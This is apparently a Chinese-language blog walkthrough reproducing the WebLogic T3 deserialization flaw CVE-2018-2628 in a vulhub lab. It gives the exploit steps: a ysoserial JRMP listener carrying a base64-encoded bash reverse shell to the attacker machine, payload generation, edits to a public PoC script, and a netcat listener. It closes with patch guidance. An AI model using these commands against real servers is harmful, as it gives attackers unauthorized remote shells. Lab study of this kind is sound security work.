CVE-2018-2628漏洞复现(基于vulhub非常详细!)

一、漏洞简介

1、漏洞描述
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令
2、漏洞影响版本

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

3、漏洞成因
攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。

RMI:Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。

java反序列化:指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

T3协议:WebLogic Server 中的 RMI(远程方法调用) 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。服务器实例将跟踪所连接的每个 Java 虚拟机(Java Virtual Machine,简称 JVM),并创建单个 T3 连接以承担 JVM 的所有流量。

攻击过程:在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作

二、漏洞复现

利用T3协议造成此漏洞 而T3协议是基于RMI协议实现 JRMP协议在Tcp/ip层之上,在RMI协议之下,所以RIM的传递时底层使用的是JRMP协议,RMI默认使用JRMP进行传输数据,所以可以利用JRMP服务来复现此漏洞

1、环境搭建

基于vulhub靶场搭建

靶机:Ubuntu  192.168.30.134
攻击机:kali   192.168.30.135
JRMP服务机:centos 192.168.30.128  (JRMP服务可以在kali中启动  我环境问题所以使用了centos开启)

进入vulhub目录
找到漏洞所在的目录
拉取镜像

docker-compose up -d    #拉取镜像

拉取完成后查看运行端口

docker ps

浏览器访问 ip:port/console
出现以下界面 则证明环境搭建完成
image.png

2、漏洞检测

利用CVE-2018-2628漏洞工具包(检测工具在其中)
下载地址:https://github.com/Lighird/CVE-2018-2628
下载后在攻击机中解压
进入检测工具目录
image.png
中间的文件为工具的使用方法
在url.txt文件中写入需要检测的ip和端口(靶机ip+port)
image.png
使用python2环境运行CVE-2018-2628-MultiThreading.py脚本
出现 vul CVE-2018-2628则证明存在此漏洞
image.png

3、漏洞利用

启动JRMP服务,目的是为了让weblogic服务器远程调用

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <port> Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

#port为开启JRMP服务的端口号  
#Jdk7u21为机器的jdk版本  如果jdk版本>1.7,则直接填写Jdk7u21即可
#bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}为反弹shell代码
要进行编码

编码地址:https://ares-x.com/tools/runtime-exec
image.png

显示以下界面则开启服务成功
image.png

之后利用ysoserial-0.1-cve-2018-2628-all.jar生成payload
目的是将漏洞服务器和JRMP服务器建立连接

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo

image.png

将生成的payload 复制
打开漏洞利用工具目录下的 weblogic_poc.py 文件
修改两处
第一处将复制的payload替换原有的payload
image.png
第二处修改漏洞服务器的IP地址和端口
image.png

kali监听9999端口(刚刚编码的端口号)

nc -lvvp 9999

image.png

使用python2环境运行exp文件
image.png

查看监听 反弹shell成功
image.png

三、漏洞修复

1、官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
2、手工修复:控制T3协议的访问权限来临时阻断漏洞利用。

参考文章:

https://blog.csdn.net/weixin_45744814/article/details/120229347
https://www.cnblogs.com/nice0e3/p/14333695.html#0x01-jrmp%E6%A8%A1%E5%9D%97%E5%88%A9%E7%94%A8

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值